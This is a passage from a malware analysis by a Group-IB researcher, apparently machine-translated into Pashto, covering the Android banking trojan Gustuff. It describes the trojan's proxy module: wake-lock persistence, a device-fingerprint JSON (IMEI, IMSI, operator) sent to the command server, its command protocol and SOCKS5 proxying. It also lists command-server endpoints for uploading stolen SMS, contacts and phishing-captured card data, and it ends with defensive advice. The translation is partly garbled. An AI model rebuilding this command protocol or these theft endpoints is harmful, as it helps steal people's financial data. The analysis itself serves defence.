  1. main.txt - د CommandServer په نوم د ټولګي کار په دې فایل کې ننوتلی دی. په لاندې څه کې، په دې فایل کې د سټرینګ ننوتل به د mainLog(str) په توګه وپیژندل شي.
  2. سیشن-<%id%>.txt - دا فایل د ځانګړي پراکسي ناستې سره تړلي د لاګ ډیټا خوندي کوي. په لاندې څه کې، دې فایل ته د سټینګ سټرینګ ننوتل به د sessionLog (str) په توګه وپیژندل شي.
  3. server.txt - دا فایل پورته تشریح شوي فایلونو ته لیکل شوي ټول معلومات د ننوتلو لپاره کارول کیږي.

د ننوتلو ډاټا بڼه:

<% نیټه٪> [تیریډ[<%thread id%>], id[]]: log-string

هغه استثناوې چې د پراکسي ماډل د عملیاتو په جریان کې پیښیږي هم فایل ته ننوتل کیږي. د دې کولو لپاره، غوښتنلیک په لاندې بڼه کې د JSON څیز تولیدوي:

{
    "uncaughtException":<%short description of throwable%>
    "thread":<%thread%>
    "message":<%detail message of throwable%>
    "trace":        //Stack trace info
        [
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            },
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            }
        ]
}

بیا دا د تار نمایش ته بدلوي او لاګ کوي.

د پراکسي ماډل د اړونده کمانډ ترلاسه کولو وروسته پیل کیږي. کله چې د پراکسي ماډل لانچ کولو قومانده ترلاسه شي ، نو غوښتنلیک یو خدمت پیل کوي چې نوم یې دی اصلي خدمت، کوم چې د پراکسي ماډل د عملیاتو اداره کولو مسؤلیت لري - پیل کول او بندول.

د خدمت پیل کولو مرحلې:

1. یو ټایمر پیل کوي چې په دقیقه کې یو ځل تیریږي او د پراکسي ماډل فعالیت چیک کوي. که ماډل فعال نه وي، دا پیل کوي.
همدارنګه کله چې پیښه رامینځته کیږي android.net.conn.CONNECTIVITY_CHANGE د پراکسي ماډل پیل شو.

2. غوښتنلیک د پیرامیټر سره وییک لاک رامینځته کوي PARTIAL_WAKE_LOCK او هغه یې ونیول. دا د آلې CPU د خوب حالت ته د تګ مخه نیسي.

3. د پراکسي ماډل د کمانډ پروسس کولو ټولګي پیل کوي، لومړی لاین ننوځي mainLog("پیل سرور") и

سرور::start() کوربه[<%proxy_cnc%>]، کمانډ پورټ[<%command_port%>]، proxyPort[<%proxy_port%>]

چې proxy_cnc، کمانډ_پورټ او پراکسي_پورټ - د پراکسي سرور ترتیب څخه ترلاسه شوي پیرامیټونه.

د کمانډ پروسس کولو ټولګي ویل کیږي کمانډ پیوستون. د پیل څخه سمدستي وروسته، لاندې کړنې ترسره کوي:

4. سره نښلوي ProxyConfigClass.host: ProxyConfigClass.commandPort او هلته د JSON بڼه کې د اخته شوي وسیلې په اړه معلومات لیږي:

{
    "id":<%id%>,
    "imei":<%imei%>,
    "imsi":<%imsi%>,
    "model":<%model%>,
    "manufacturer":<%manufacturer%>,
    "androidVersion":<%androidVersion%>,
    "country":<%country%>,
    "partnerId":<%partnerId%>,
    "packageName":<%packageName%>,
    "networkType":<%networkType%>,
    "hasGsmSupport":<%hasGsmSupport%>,
    "simReady":<%simReady%>,
    "simCountry":<%simCountry%>,
    "networkOperator":<%networkOperator%>,
    "simOperator":<%simOperator%>,
    "version":<%version%>
}

چیرته چې:

  • id - پیژندونکی، هڅه کوي چې د "x" په نوم د شریک غوره توب فایل څخه د "id" ساحې سره ارزښت ترلاسه کړي. که دا ارزښت ترلاسه نشي، نو دا یو نوی تولیدوي. په دې توګه، د پراکسي ماډل خپل پیژندونکی لري، کوم چې د بوټ ID ته ورته تولید شوی.
  • imei - د آلې IMEI. که د ارزښت ترلاسه کولو پروسې په جریان کې کومه تېروتنه رامنځته شي، د دې ساحې پرځای به د خطا متن پیغام ولیکل شي.
  • imsi - د وسیلې نړیوال ګرځنده پیرودونکي پیژندنه. که د ارزښت ترلاسه کولو پروسې په جریان کې کومه تېروتنه رامنځته شي، د دې ساحې پرځای به د خطا متن پیغام ولیکل شي.
  • ماډل - د پای محصول لپاره د پای کارونکي لیدل شوی نوم.
  • جوړونکی - د محصول / هارډویر جوړونکی (Build. MANUFACTURER).
  • androidVersion - یو تار په بڼه "<%release_version%> (<%os_version%>)،<%sdk_version%>"
  • هیواد - د وسیلې اوسنی موقعیت.
  • partnerId یو خالي تار دی.
  • د بست نوم - د بسته نوم.
  • د شبکې ډول - د اوسني شبکې پیوستون ډول (مثال: "وائی فای"، "موبایل"). د غلطۍ په صورت کې، بیرته راستانه کیږي.
  • hasGsmSupport - ریښتیا - که تلیفون د GSM ملاتړ کوي ، که نه نو غلط.
  • simReady - د سیم کارت حالت.
  • simCountry - د ISO هیواد کوډ (د سیم کارت چمتو کونکي پراساس).
  • د شبکې آپریټر - د چلونکي نوم. که د ارزښت ترلاسه کولو پروسې په جریان کې کومه تېروتنه رامنځته شي، د دې ساحې پرځای به د خطا متن پیغام ولیکل شي.
  • simOperator - د خدمت چمتو کونکي نوم (SPN). که د ارزښت ترلاسه کولو پروسې په جریان کې کومه تېروتنه رامنځته شي، د دې ساحې پرځای به د خطا متن پیغام ولیکل شي.
  • نسخه - دا ساحه په config ټولګي کې زیرمه شوې؛ د بوټ ازمول شوي نسخو لپاره دا د "1.6" سره مساوي و.

5. د سرور څخه امرونو ته د انتظار کولو حالت ته ځي. د سرور څخه حکمونه په بڼه کې راځي:

  • 0 آفسیټ - کمانډ
  • 1 آفسیټ - د غونډې ID
  • 2 آف سیٹ – اوږدوالی
  • 4 offset - ډاټا

کله چې کمانډ راشي، غوښتنلیک لاګ کیږي:
mainLog("سرلیک { sessionId<%id%>], type[<%command%>], length[<%length%>]}")

د سرور څخه لاندې حکمونه ممکن دي:

نوم د قوماندې د معلوماتو د Description
پیوستون 0 د پیوستون ID یو نوی اړیکه جوړه کړئ
سلیپ 3 وخت د پراکسي ماډل بند کړئ
PING_PONG 4 - د PONG پیغام واستوئ

د PONG پیغام 4 بایټ لري او داسې ښکاري: 0x04000000.

کله چې د کنکشن آیډ کمانډ ترلاسه شي (د نوي پیوستون رامینځته کولو لپاره) کمانډ پیوستون د ټولګي یوه بیلګه جوړوي پراکسي کنکشن.

  • دوه ټولګي په پراکسي کولو کې برخه اخلي: پراکسي کنکشن и پای. کله چې ټولګي جوړ کړئ پراکسي کنکشن د ادرس سره نښلول ProxyConfigClass.host: ProxyConfigClass.proxyPort او د JSON څیز تیریدل:

 {
    "id":<%connectionId%>
}

په ځواب کې، سرور د SOCKS5 پیغام لیږي چې د ریموټ سرور پته لري چې ورسره اړیکه باید تاسیس شي. د دې سرور سره تعامل د ټولګي له لارې پیښیږي پای. د پیوستون تنظیم کول په سکیمیک ډول په لاندې ډول ښودل کیدی شي:

څنګه د Android Trojan Gustuff ستاسو د حسابونو څخه کریم (فیټ او کریپټو) سکیم کوي

د شبکې تعامل

د شبکې سنفیفرانو لخوا د ترافیک تحلیل مخنیوي لپاره ، د CnC سرور او غوښتنلیک ترمینځ تعامل د SSL پروتوکول په کارولو سره خوندي کیدی شي. ټول لیږدول شوي ډاټا دواړه له سرور څخه او سرور ته د JSON بڼه کې وړاندې کیږي. غوښتنلیک د عملیاتو پرمهال لاندې غوښتنې اجرا کوي:

  • http://<%CnC%>/api/v1/set_state.php - د کمانډ اجرا کولو پایله.
  • http://<%CnC%>/api/v1/get.php - د امر ترلاسه کول.
  • http://<%CnC%>/api/v1/load_sms.php - د اخته شوي وسیلې څخه د SMS پیغامونو ډاونلوډ کول.
  • http://<%CnC%>/api/v1/load_ab.php - د اخته شوي وسیلې څخه د اړیکو لیست اپلوډ کول.
  • http://<%CnC%>/api/v1/aevents.php - غوښتنه هغه وخت رامینځته کیږي کله چې د غوره توب فایل کې موقعیت لرونکي پیرامیټونه تازه کړئ.
  • http://<%CnC%>/api/v1/set_card.php - د فیشینګ کړکۍ په کارولو سره ترلاسه شوي ډیټا اپلوډ کول د ګوګل پلی مارکیټ په توګه پوښل شوي.
  • http://<%CnC%>/api/v1/logs.php - د لاګ ډاټا اپلوډ کول.
  • http://<%CnC%>/api/v1/records.php - د فشینګ وینډوز له لارې ترلاسه شوي ډاټا اپلوډ کول.
  • http://<%CnC%>/api/v1/set_error.php - د یوې تېروتنې خبرتیا چې رامنځ ته شوې.

سپارښتنې

د ګرځنده ټروجنونو له ګواښ څخه د خپلو پیرودونکو ساتلو لپاره، شرکتونه باید هراړخیز حلونه وکاروي چې دوی ته اجازه ورکوي چې د کاروونکو وسیلو کې اضافي سافټویر نصبولو پرته د ناوړه فعالیت څارنه او مخنیوی وکړي.

د دې کولو لپاره ، د ګرځنده ټروجن کشف کولو لپاره د لاسلیک میتودونه باید د ټیکنالوژیو سره پیاوړي شي ترڅو د پیرودونکي او غوښتنلیک دواړه چلند تحلیل کړي. په محافظت کې باید د ډیجیټل ګوتو نښې ټیکنالوژۍ په کارولو سره د وسیلې پیژندنې فعالیت هم شامل وي ، کوم چې دا به دا امکان رامینځته کړي چې پوه شي کله چې یو حساب د غیر معمولي وسیلې څخه کارول کیږي او دمخه د جعل کونکي لاس ته رسیدلی وي.

یو بنسټیز مهم ټکی د کراس چینل تحلیل شتون دی، کوم چې شرکتونو ته اجازه ورکوي چې خطرونه کنټرول کړي چې نه یوازې په انټرنیټ کې، بلکې په ګرځنده چینل کې هم رامینځته کیږي، د بیلګې په توګه، د ګرځنده بانکدارۍ لپاره غوښتنلیکونو کې، د کریپټو اسعارو سره د معاملو لپاره او کوم بل چیرې. مالي راکړه ورکړه ترسره کیدی شي.

د کاروونکو لپاره د خوندیتوب قواعد:

  • د ګوګل پلی پرته له کومې سرچینې څخه د Android OS سره د ګرځنده وسیلې لپاره غوښتنلیکونه مه نصب کړئ ، د غوښتنلیک لخوا غوښتل شوي حقونو ته ځانګړې پاملرنه وکړئ؛
  • په منظم ډول د Android OS تازه معلومات نصب کړئ؛
  • د ډاونلوډ شوي فایلونو غزولو ته پاملرنه وکړئ؛
  • د شکمنو سرچینو څخه لیدنه مه کوئ؛
  • په SMS پیغامونو کې ترلاسه شوي لینکونو باندې کلیک مه کوئ.

ستوری سیمیون روګاچواد ګروپ-IB کمپیوټر فارنزیک لابراتوار کې د مالویر څیړنې کې جونی متخصص.

سرچینه: www.habr.com

Add a comment